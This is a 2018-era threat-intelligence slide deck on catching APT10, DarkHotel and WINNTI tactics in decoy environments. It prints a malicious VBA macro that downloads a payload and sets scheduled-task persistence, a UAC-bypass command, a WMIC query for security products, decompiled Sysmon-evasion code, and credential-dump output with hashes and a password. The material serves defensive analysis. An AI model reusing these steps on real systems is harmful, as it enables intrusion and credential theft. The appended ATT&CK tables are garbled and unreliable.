Catch Painful TTPs for Adversaries

Hiroshi Takeuchi
Hajime Yanagishita
Who are we?

• Hiroshi Takeuchi
  • Security field experience for over 5 years
  • A Member of Threat Analysis Team of Macnica Networks
  • Mission: Malware Analysis, Reverse Engineering

• Hajime Yanagishita
  • Security field experience for over 10 years
  • A Member of Threat Analysis Team of Macnica Networks
  • Cyber Threat Analyst with Geopolitical interest
  • Mission: Threat Hunting, IR, Malware Analysis
Contents

• Background
• To be Resilient in current situation
• Adversaries’ TTPs Examples
• Leverage the Collected TTPs
• Takeaways
Background

• Many Attack vectors
  • Spear Phishing
  • Social Engineering
  • Supply Chain Attack
  • Storage Device
  • Cloud Platform
  • etc

• Being Compromised HAPPENS (WHEN?)
## Cyber Espionage Activity in Japan

<table>
<thead>
<tr>
<th>Actor(Tools)</th>
<th>18/04</th>
<th>18/05</th>
<th>18/06</th>
<th>18/07</th>
<th>18/08</th>
<th>18/09</th>
<th>18/10</th>
<th>18/11</th>
</tr>
</thead>
<tbody>
<tr>
<td>Tick (XXMM/Datper)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Group Targeted</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Heavy Industry</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Chemical, High-Tech</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>WINNTI</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Chemical, High-Tech (Manufacturing)</td>
</tr>
<tr>
<td>Unknown (Ammyy Admin)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Constructor</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>APT10 (RedLeaves-zark20rk)</td>
<td>Think Tank</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>APT10 (ANEL)</td>
<td>Think Tank</td>
<td>Media</td>
<td>Media</td>
<td></td>
<td></td>
<td></td>
<td>Unknown</td>
<td></td>
</tr>
<tr>
<td>APT10 (CobaltStrik / Quasar RAT)</td>
<td>Defense</td>
<td></td>
<td></td>
<td>Media</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>BlackTech (PLEAD)</td>
<td>Politics</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Manufacturing</td>
<td>Manufacturing</td>
</tr>
<tr>
<td>Taidoor (Taidoor / Tarent / Yalink)</td>
<td></td>
<td></td>
<td>High-Tech, Career</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>DarkHotel</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Media</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
To be Resilient: The Art of War, Sun Tzu

If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle.

How we can stand in a more advantageous position?
Incubation

• Proactive Adversaries’ TTPs Collection
  • Implant First Payload and Catch 2nd or Final Payload
  • Monitor Attackers’ Activity Remotely

• Not New, but Worth trying!
Incubation Decoy Environment (Simple)

Domain Controller
- Windows 2008
- CentOS 7
- Ubuntu 13

Server (internal)
- Windows 7 32bit
- Windows 7 64bit

Client 1
- Windows 7 32bit

Client 2
- Windows 7 64bit

Virtual Machines

Internet

Monitor NW

FW

Proxy Squid
Incubation

**Platform**
- Virtual Machine Environment
- Prepare minimum Machines for Enterprise
  - AD, File Server, Web Server, some Endpoints

**Network**
- Firewall (Prohibit outbound traffic to enterprise)
- Isolated Network
- Allow traffic to Internet

**Monitoring**
- Sysmon, SysmonSearch [1]
- ProcMon, Noriben [2]
- EDR, Deception (If you already have)
Not Always Success

Provocative Reply from Adversary..
Incubation Site Should be at Target Organization

Monitoring
Attacker Commands
Network Traffic
Additional Tools
Lateral Movement
Objectives ...

Internet

Firewall

DMZ
- Web
- DB

Server
- AD
- Mail
- File

Client

Decoy Environment

- Web
- DB
- AD
- Mail
- File
APT10
A case of Attack Overview

1. Download
2. Run
3. Drop
4. Download Beacon in Memory
5. Download Quasar RAT

RTF Download Site
C2 Server1
C2 Server2
Exploit: Macro

Sub AutoOpen()
    On Error Resume Next
    downurl
    copyapp

    If checkTasks Then
        p = "powershell schtasks /create /tn Winhelper /tr ""c:\users\public\appdata\K7SysMon.Exe""
    Else
        p = "cmd /c schtasks /create /tn Winhelper /tr ""c:\users\public\appdata\K7SysMon.Exe"" /sc DAILY"
    End If

    CreateObject("WScript.Shell").Run p, 0, True
    rngFirstParagraph = ActiveDocument.Paragraphs(1).Range
    rngFirstParagraph.Delete
    addtext
End Sub

Function downurl()
    Dim p As String
    p = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%\~$temp.rtf")
    URLDownloadToFile 0, "https://www.example.com/image/news_collection/2018070191211.png", p, 0, 0
End Function
Exploit: Macro

```vbscript
Function copyapp()
    Dim docp As String
    Dim SourceFile1, SourceFile2, SourceFile3, DestinationFile1 As String

    SourceFile1 = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%") + "\K7SysMon.Exe"
    SourceFile2 = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%") + "\K7SysMn1.dll"
    SourceFile3 = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%") + "\kfois.hfd"
    DestinationFile1 = "c:\\PUBLIC\AppData"

    docp = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%") + "\\$temp.rtf"

    If FileFolderExists(docp) Then
        Application.Documents.Open FileName:=docp
        If FileFolderExists(DestinationFile1) Then
            CreateObject("Scripting.FileSystemObject").CreateFolder DestinationFile1
            CreateObject("Scripting.FileSystemObject").CopyFile SourceFile1, DestinationFile1
            CreateObject("Scripting.FileSystemObject").CopyFile SourceFile2, DestinationFile1
            CreateObject("Scripting.FileSystemObject").CopyFile SourceFile3, DestinationFile1
        End If
    Else
        CreateObject("Scripting.FileSystemObject").CreateFolder DestinationFile1
        CreateObject("Scripting.FileSystemObject").CopyFile SourceFile1, DestinationFile1
        CreateObject("Scripting.FileSystemObject").CopyFile SourceFile2, DestinationFile1
        CreateObject("Scripting.FileSystemObject").CopyFile SourceFile3, DestinationFile1
    End If
End Function
```
.NET Launcher

tok.exe bypassuac
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
/LogFile=/LogToConsole=false /u
C:\users\public\appdata\UninstallPersistSqlState.sql.man

tok.exe = tokenvator [3]: Open Tool for Red Teaming

InstallUtil technique was observed in the other incident on January 2018 [4]
UIAutomationTypes.dll.uninstall

UninstallPersistSqlState.sql.man loads this file (AES Encrypted)

Decrypted Code in memory

Quasar RAT
WMIC Process Where "Caption Like '%hpe%' OR Caption Like '%stan%' OR Caption Like '%sysmon%' OR Caption Like '%endpoint%' OR Caption Like '%falcon%' OR Caption Like '%cb.exe' OR Caption Like '%almon.exe' OR Caption Like '%cylance%' OR Caption Like '%cb.exe' OR Caption Like '%almon.exe' OR Caption Like '%cylance%' OR Caption Like '%cb.exe' OR Caption Like '%almon.exe' OR Caption Like '%cylance%' OR Caption Like '%cb.exe' OR Caption Like '%almon.exe' OR Caption Like '%cylance%' OR Caption Like '%cb.exe' OR Caption Like '%almon.exe' OR Caption Like '%cylance%" Get Caption,ExecutablePath
DarkHotel
Matryoshka Attack

1st Downloader
- Link
- mshta.exe
- spec.txt

2nd Downloader
- help.txt
- ace32/64.bmp

3rd Downloader
- qmgj.db
- scrobi.db
- msvsmon.db
- ?????.bmp

To be continued..
Registered as COM in-process server (DLL). = COM Hijacking
This file just launches another DLL “scrobi.db”
Code similarity of OS Check with 360 Security’s DarkHotel Research Report [5]
# scrobi.db thread workers

<table>
<thead>
<tr>
<th>Thread</th>
<th>Function</th>
</tr>
</thead>
</table>
| 1      | Access http://www.msn.com  
If not, sleep 30 sec. If yes, kick another thread to run by SetEvent()  
User-Agent: check |
| 2      | Get the compromised host info and creates download bitmap file name in Thread 5. |
| 3      | Access http://c.<redacted>.com/11759459/0/2b564fc0/0/  
User-Agent: myagent  
%AppData%¥Microsoft¥Windows¥Themes¥1.0¥msvsmons.log |
| 4      | Check if the following directory exists  
%AppData%¥Microsoft¥Windows¥Themes¥1.0¥ |
| 5      | Access http://www.<redacted>.jp/devsale42/?????.bmp  
User-Agent: main |
| 6      | Load the following file by LoadLibrary()  
%AppData%¥Microsoft¥Windows¥Themes¥1.0¥msvsmon.db |
Misuse Legitimate Web Analytics Service

GET /11759459/0/2b564fc0/0/ HTTP/1.1
User-Agent: myagent
Referer:<04part2_00>iBIGf;Fn]vJAv#1~O¥1BFs`:4,fYi=zO=0D]xQbajj(ifbzg¥X-.
L";(<oz9g'I`ITD{X#_^?gf).M0Aes@5zd?sZt<~,od'A5=r2,HnqqHJy`<NVy6<A18.p@Y?$1?AP^b@Ene~@b5A'8YafMG1{I{FAY9Zk/i8Host: c.<redacted>.com
Final Payload?

```assembly
push   eax ; Uuid
call   ds:UuidCreateSequential
movzx  eax, [ebp+Uuid.Data4+4]
push   eax
movzx  eax, [ebp+Uuid.Data4+5]
push   eax
movzx  eax, [ebp+Uuid.Data4+3]
push   eax
movzx  eax, [ebp+Uuid.Data4+6]
push   eax
movzx  eax, [ebp+Uuid.Data4+2]
push   eax
movzx  eax, [ebp+Uuid.Data4+7]
push   eax ; int
push    offset a02x02x02x02x02x02 ; "%02X%02X%02X%02X%02X"
lea    eax, [ebp+var_394]
push    100h ; int
push    eax ; int
call   aa_wsprintf_wrapper
```

Call `UuidCreateSequential` to get MAC address and use it to make download bmp file name

= Only target can download
Matryoshka Unique DLL Loading Chain

1. mpr.dll: One Export function is patched and loads cgi64.dll

2. cgi64.dll decodes codes by XOR 0x36 for preparing batch file to start another DLL rundll32 w3cutils.dll, #28

3. w3cutils.dll gets Computer Name and ProductId, these string values are used for AES Decryption of WINNTI payload.

4. Decrypted WINNTI Payload is Injected into svchost.exe
Sysmon Check

• Check Sysmon.exe Running
• If yes, filters sysmon event writing.

```c
__int64 __fastcall SysmonChk_OpenProc_WriteF__() {
    unsigned int v0; // ebx
    __int64 v1; // rbx

    if ( (unsigned int)GetVersionEX__() < 4 )
        return 0i64;
    v0 = Sysmoncheck__((__int64)"sysmon.exe", 0);

    if ( v0 )
    {
        if ( !(unsigned int)OpenEventCloseHandle__((__int64)BFE_Event__) )
            WriteFBySwith_OpenProc_CreateThread__(v0, (__int64)qword_225BC80, (unsigned __int64)&unk_16000, 0i64, 0, 1u);
        v1 = CreateEvent1__((__int64)BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411016});
        kernel32_Sleep(5000i64);
        if ( v1 )
            ((void (__fastcall *)(__int64))kernel32_CloseHandle)(v1);
    }
    return v0i64;
}
```

```c
__int64 __fastcall OpenEventCloseHandle__((__int64)BFE_Event__) {
    __int64 handle0; // rax

    handle0 = kernel32_OpenEventA(1i64, 0i64, BFE_Event__);
    if ( handle0 )
    {
        ((void (__fastcall *)(__int64))kernel32_CloseHandle)(handle0);
        handle0 = 1i64;
    }
    return handle0;
}
```
if ( v2 > 3 )
{
    v4 = 40960; //Size
    v5 = &MZ01; // Driver for 7 or above x64
} else
{
    v4 = 22016; //Size
    v5 = &MZ02; // Driver for 2003 or below
}

My_Create_WriteFile(v5, v4, v9);
My_Load_Driver((  int64)v9, (  int64)&v7); // RegCreateKey(%Service), NtLoadDriver(), RegDeleteKey()
kernel32_SetFileAttributesA(v9, 128);
kernl32_DeleteFileA(v9);

v2 = sub_18003EA40(a1);
if ( v2 )
{
    if ( v3 != 16 || (v4 = *(_BYTE *)(v1 + 1)) != 0 && v4 != 2 || v1 & 3 )
    {
        My_Failed((__int64)"At L %dYn", 564i64); //Failure Debug Msg?
        sub_18002785C(0i64);
    }
}
WINNTI Kernel Driver

- Dropped by RAT module (in svchost.exe)
- Uses ¥¥Device¥¥NULL to communicate with RAT module
- Kernel Driver is Packet Capturing Base

```
v5 = a3;
v6 = a1;
v7 = a4;
v8 = a2;
nullhandl0 = CreateFileA("¥¥¥¥¥¥¥¥", 3221225472i64, 3i64, 0i64, 3, 64, 0i64);
if ( nullhandl0 == -1 )
    return 0i64;
if ( v5 )
    LODWORD(v11) = v7;
    result = DeviceIoControl(nullhandl0, &DeviceIoCtrl_Arg02, v6, a5, 0i64);
```
WINNTI Kernel Driver with Payload in Userland

WINNTI Magic Packet

Capturing Packet on Existing LISTENING PORT

WINNTI Network Driver

WINNTI Network Driver is Digitally Signed Mostly with Other Victim Certificate
# WINNTI Command & Control

<table>
<thead>
<tr>
<th>Command No.</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Bind Network Socket</td>
</tr>
<tr>
<td>1</td>
<td>Check IP address change and Receive Packet, Console Output</td>
</tr>
<tr>
<td>3</td>
<td>Console Output</td>
</tr>
<tr>
<td>4</td>
<td>Read $DEV$NULL and Console Output</td>
</tr>
<tr>
<td>5</td>
<td>Check IP address change and Receive Packet, Console Output</td>
</tr>
</tbody>
</table>

```c
switch ( (__int64)(int)a3 )
{
    case 0:64:
        LODWORD(result) = bind(a1, a2, 16164, 0xFFFFFFFF164);
        break;
    case 1164:
        v9 = 16;
        v10 = 0;
        v11 = 0;
        v12 = 0;
        v13 = 0;
        switch (a2 & a19)
        {
            *(__int64 *)(char *)&v10 + 1) = *(__DWORD *)(a2 + 2);
            *(__int *)(char *)&v12 + 1) = *(__WORD *)(a2 + 7);
            *(__int *)(&v12 + 1) = *(__WORD *)(a2 + 7);
            LODWORD(result) = My_NSAGetOver_Reov_CONCUT(a1, (__int64 *)&v9);
        } else {
            LODWORD(result) = My_NSAGetOver_Reov_CONCUT(a1, 0);
        }
        break;
    case 2164:
        case 3164:
        v9 = 16;
        v10 = 0;
        break;
    default:
        break;
}
```
WINNTI Long Persistence (VT sample Aug 2018)
WINNTI Long Persistence (VT samples Analysis)

avg. 778 Days (2 Years and 48 Days)

WINNTI Listening Mode Samples on VT
(First Submit earliest 2017-06-28, latest 2018-08-27)
WINNTI Long Term Activity

Cloud Storage, Mail [6]
Access by Stolen Account

WINNTI RAT C&C
CMD.exe

WINNTI C&C
Remote Control Upload, Download

Public Server
WINNTI Listening Mode
CMD.exe

Remote Control Upload, Download

WINNTI Long Term Activity

CMD.exe
CMD.exe
CMD.exe
CMD.exe
CMD.exe
WINNTI Attack Activity

Case A: Intrusion around Initial Reconnaissance
Case B: Intrusion around Data Stealing

The Number of Command Execution
AceHash (PW Dumper) : WINNTI

• Custom Build AceHash Working With Command Line Decryption Key

C:\>farme.exe 9839D7F1AD -m
Privilege '20 UK

Authentication Id : 0 ; 183399 (00000000:0002cc5d)
Session : Interactive from 1
User Name : Administrator
Domain : 
Logon Server : 
Logon Time : 2018/11/16 9:56:46
SID : S-1-5-21-608676208-2942866460-2157236229-500

msv :
[00000003] Primary
* Username : Administrator
* Domain : 
* LM : 6889b6316b3577c4944e2df489a380e4
* NTLM : 68865827d79c4f5cc9b52b688495fd51
* SHA1 : 41ab23d1abfc818a7c05ee1a45f99799357f4dc
tspkg :
* Username : Administrator
* Domain : 
* Password : 1q2w3e4r
wdigest :
Leverage the Collected TTPs
Defense Strategies based on TTPs

**Delivery**
- Spear Phishing
- Password Encrypted Attachment

**Exploit**
- Macro Love!
- Not Often 0-day Exploit
- Steal Credentials of Cloud Services (Email, Storage)

**Next Steps**
- Phishing Mail Training
- Audit Authentication Events
- Implement Multifactor Authentication
Defense Strategies based on TTPs

**Installation, C2**
- Difficult to Detect File Base by Obfuscation/Encryption (RAT is Only in Memory)
- Attacker Tends Not to Drop Final Payload except Real Intrusion (or Successful Incubation)
- Attacker Shows Some unique characteristics on C2 traffic (e.g. User-Agent)

**Lateral, Actions on Objectives**
- Nature of RAT is remote command execution (e.g. whoami, net use, ping ...)
- PW Dumper Tools are used to steal Credentials for Lateral Movement

**Memory Scanning and Analysis Tool (Detect RAT and Attacker Tools)**
- Use C2 traffic characteristics to Monitor Attacker Activity

**EDR (Monitor and Record Attacker Activity)**
Takeaways

• Know YOUR Adversaries More

• Proactive TTPs collection is one of Keys to be Resilient
  • Incubation is One Effective Approach

• Use MITRE ATT&CK Framework to Find a Gap between Defense and Attack

• Local Intelligence + External Intelligence
  • Only target can get more TTPs
Thank you

Q&A

takeuchi-h@macnica.net
yanagishita@macnica.net
MITRE ATT&CK
<table>
<thead>
<tr>
<th>Execution</th>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
<th>Credential Access</th>
<th>Discovery</th>
<th>Lateral Movement</th>
<th>Collection</th>
<th>Exfiltration</th>
<th>Command And Control</th>
</tr>
</thead>
<tbody>
<tr>
<td>AppleScript</td>
<td>bash_profile and bash_profile</td>
<td>Access Token Manipulation</td>
<td>Access Token Manipulation</td>
<td>Account Discovery</td>
<td>Applescript</td>
<td>Audio Capture</td>
<td>Automated Exfiltration</td>
<td>Commonly Used Port</td>
<td></td>
</tr>
<tr>
<td>CMSTP</td>
<td>CMSTP</td>
<td>Access Token Manipulation</td>
<td>Binary Padding</td>
<td>Application Discovery</td>
<td>Application Deployment Software Automated Collection</td>
<td>Data Compressed</td>
<td>Communication Through Removable Media</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Command-Line Interface</td>
<td>Command-Line Interface</td>
<td>Accessibility Features</td>
<td>Accessibility Features</td>
<td>Brute Force</td>
<td>Application Window Discovery</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Compiled HTML File</td>
<td>Compiled HTML File</td>
<td>Account Manipulation</td>
<td>BES Jobs</td>
<td>Brute Force</td>
<td>Browser Bookmark Discovery</td>
<td>Data Exfiltration</td>
<td>Disturbed Component Object Overload Data</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Execution through API</td>
<td>Execution through API</td>
<td>Authorization Package</td>
<td>Bypass User Account Control</td>
<td>Brute Force</td>
<td>File and Directory Discovery</td>
<td>Data From Network Share Exfiltration Over Alternative Data Encoding</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Execution through Module Load</td>
<td>Execution through Module Load</td>
<td>Bypass User Account Control</td>
<td>Bypass User Account Control</td>
<td>Brute Force</td>
<td>File and Directory Discovery</td>
<td>Data From Network Share Exfiltration Over Alternative Data Encoding</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Exploitation for Client Execution</td>
<td>Exploitation for Client Execution</td>
<td>Bypass User Account Control</td>
<td>CMSIP</td>
<td>CMSIP</td>
<td>Network Service Scanning</td>
<td>Data From Remote Service Data Exfiltration Over Alternative Custom Cryptographic Protocols</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Graphical User Interface</td>
<td>Graphical User Interface</td>
<td>Bypass User Account Control</td>
<td>CMSIP</td>
<td>CMSIP</td>
<td>Network Service Scanning</td>
<td>Data From Remote Service Data Exfiltration Over Alternative Custom Cryptographic Protocols</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>HTML-DLL</td>
<td>HTML-DLL</td>
<td>CMSIP</td>
<td>CMSIP</td>
<td>CMSIP</td>
<td>Network Service Scanning</td>
<td>Data From Remote Service Data Exfiltration Over Alternative Custom Cryptographic Protocols</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>IIS</td>
<td>IIS</td>
<td>CMSIP</td>
<td>CMSIP</td>
<td>CMSIP</td>
<td>Network Service Scanning</td>
<td>Data From Remote Service Data Exfiltration Over Alternative Custom Cryptographic Protocols</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>IIS</td>
<td>IIS</td>
<td>CMSIP</td>
<td>CMSIP</td>
<td>CMSIP</td>
<td>Network Service Scanning</td>
<td>Data From Remote Service Data Exfiltration Over Alternative Custom Cryptographic Protocols</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>IIS</td>
<td>IIS</td>
<td>CMSIP</td>
<td>CMSIP</td>
<td>CMSIP</td>
<td>Network Service Scanning</td>
<td>Data From Remote Service Data Exfiltration Over Alternative Custom Cryptographic Protocols</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>IIS</td>
<td>IIS</td>
<td>CMSIP</td>
<td>CMSIP</td>
<td>CMSIP</td>
<td>Network Service Scanning</td>
<td>Data From Remote Service Data Exfiltration Over Alternative Custom Cryptographic Protocols</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>IIS</td>
<td>IIS</td>
<td>CMSIP</td>
<td>CMSIP</td>
<td>CMSIP</td>
<td>Network Service Scanning</td>
<td>Data From Remote Service Data Exfiltration Over Alternative Custom Cryptographic Protocols</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>IIS</td>
<td>IIS</td>
<td>CMSIP</td>
<td>CMSIP</td>
<td>CMSIP</td>
<td>Network Service Scanning</td>
<td>Data From Remote Service Data Exfiltration Over Alternative Custom Cryptographic Protocols</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

© 2018 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation.
<table>
<thead>
<tr>
<th>Execution</th>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
<th>Credential Access</th>
<th>Discovery</th>
<th>Lateral Movement</th>
<th>Collection</th>
<th>Exfiltration</th>
<th>Command And Control</th>
</tr>
</thead>
<tbody>
<tr>
<td>AppleScript</td>
<td>Jash profile and bashers</td>
<td>Access Token Manipulation</td>
<td>Access Token Manipulation</td>
<td>Account Manipulation</td>
<td>Account Discovery</td>
<td>AppleScript</td>
<td>Audio Capture</td>
<td>Automated Exfiltration</td>
<td>Commonly Used Port</td>
</tr>
<tr>
<td>CMSTP</td>
<td>Accessibility Features</td>
<td>Accessibility Features</td>
<td>Binary Padding</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Command-Line Interface</td>
<td>Account Manipulation</td>
<td>AppCert DLLs</td>
<td>BITS Jobs</td>
<td>Bash History</td>
<td>Application Window Disc/Application Deployment</td>
<td>Automated Collection</td>
<td>Data Transfer Size Limits</td>
<td>Command and Control</td>
<td></td>
</tr>
<tr>
<td>Compiled HTML File</td>
<td>AppCert DLLs</td>
<td>AppCert DLLs</td>
<td>Application Shimmer</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Control Panel Items</td>
<td>AppCert DLLs</td>
<td>Application Shimmer</td>
<td>Clear Command History</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Dynamic Data Exchange</td>
<td>Application Shimmer</td>
<td>Bypass User Account Control</td>
<td>CMSTP</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Execution through API</td>
<td>DLL Search Or Hacking</td>
<td>DLL Search Or Hacking</td>
<td>Code Signing</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Execution through Module</td>
<td>BITS Jobs</td>
<td>Dylb Hacking</td>
<td>Compiled HTML File</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Exporting for Client Execution</td>
<td>Bootkit</td>
<td>Extra Window Memory Service/Component Object Model Hacking</td>
<td>Component Object Model Hacking</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Graphical User Interface</td>
<td>ChangeReceived</td>
<td>Extra Window Memory Service/Component Object Model Hacking</td>
<td>Component Object Model Hacking</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Installer</td>
<td>Default File Association</td>
<td>File System Permissions We Control Panel Items</td>
<td>Component Object Model Hacking</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Launchdal</td>
<td>Component Firmware</td>
<td>Hooking</td>
<td>DCSHadow</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Local Job Scheduling</td>
<td>Component Object Model Hacking</td>
<td>Image File Execution Options</td>
<td>DecryptFiles/Destroy Files or Information</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>LSASS Driver</td>
<td>Create Account</td>
<td>Disable Group Policy</td>
<td>LLMNS/NB/NS Poison</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Meta</td>
<td>DLL Search Or Hacking</td>
<td>New Service</td>
<td>DLL Search Or Hacking</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>PowerShell</td>
<td>Dylb Hacking</td>
<td>Path Interception</td>
<td>DLL Side-Loading</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Reg vero/Regasm</td>
<td>External Remote Services</td>
<td>Patch Modification</td>
<td>Exploitation for Defense Evasion</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Revolver32</td>
<td>File System Permissions Weakness</td>
<td>Port Monitors</td>
<td>Extra Window Memory Injection</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Rund32</td>
<td>Hidden Files and Directories</td>
<td>Process Injection</td>
<td>File Deletion</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Scheduled Task</td>
<td>Hooking</td>
<td>Scheduled Task</td>
<td>File Permissions Modification</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Scripting</td>
<td>HyperServer</td>
<td>Service Registry Permissions File System Logical Offsets</td>
<td>Gatekeeper Bypass</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Service Execution</td>
<td>Image File Execution Options Injection</td>
<td>Setuid and Setgid</td>
<td>Gatekeeper Bypass</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Signed Binary Proxy Execution</td>
<td>Kernel Modules and Extensions</td>
<td>SID-History Injection</td>
<td>Hidden Files and Directories</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Signing Agent</td>
<td>Launch Agent</td>
<td>Startup Items</td>
<td>Hidden Users</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Source</td>
<td>Launch Daemon</td>
<td>Sudo</td>
<td>Hidden Window</td>
<td>Brute Force</td>
<td>Browser Bookmark Disc/Distributed Component Clipboard Data</td>
<td>Data Compressed</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
